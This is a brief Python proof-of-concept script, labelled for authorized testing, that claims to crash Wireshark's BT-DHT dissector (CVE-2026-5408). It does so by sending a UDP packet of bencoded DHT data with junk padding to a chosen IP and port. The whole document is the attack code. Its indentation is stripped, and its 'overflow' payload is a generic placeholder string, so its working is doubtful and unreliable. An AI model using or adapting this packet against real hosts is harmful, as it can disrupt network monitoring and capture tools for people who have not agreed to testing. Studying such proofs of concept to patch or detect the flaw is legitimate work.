The following code is for security research and authorized testing only.
python
import socket
import struct
# PoC for CVE-2026-5408: Wireshark BT-DHT Dissector Crash
# This script sends a malformed UDP packet to trigger the crash.
# Target needs to be capturing traffic on the specified port.
def send_malformed_dht_packet(target_ip, target_port):
# Constructing a malformed BT-DHT payload (invalid bencode)
# Standard DHT uses bencoded dictionaries (d...e).
# Sending a broken structure to confuse the dissector.
payload = b'd1:ad2:id20:abcdefghij0123456789e1:q9:get_peers1:t4:00001:y1:qe' \
b'INVALID_PADDING_TO_TRIGGER_OVERFLOW'
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
try:
sock.sendto(payload, (target_ip, target_port))
print(f"[+] Malformed packet sent to {target_ip}:{target_port}")
except Exception as e:
print(f"[-] Error sending packet: {e}")
finally:
sock.close()
if __name__ == "__main__":
# Example usage (replace with actual target IP and Port)
# Note: This requires Wireshark to be actively listening.
send_malformed_dht_packet("127.0.0.1", 6881)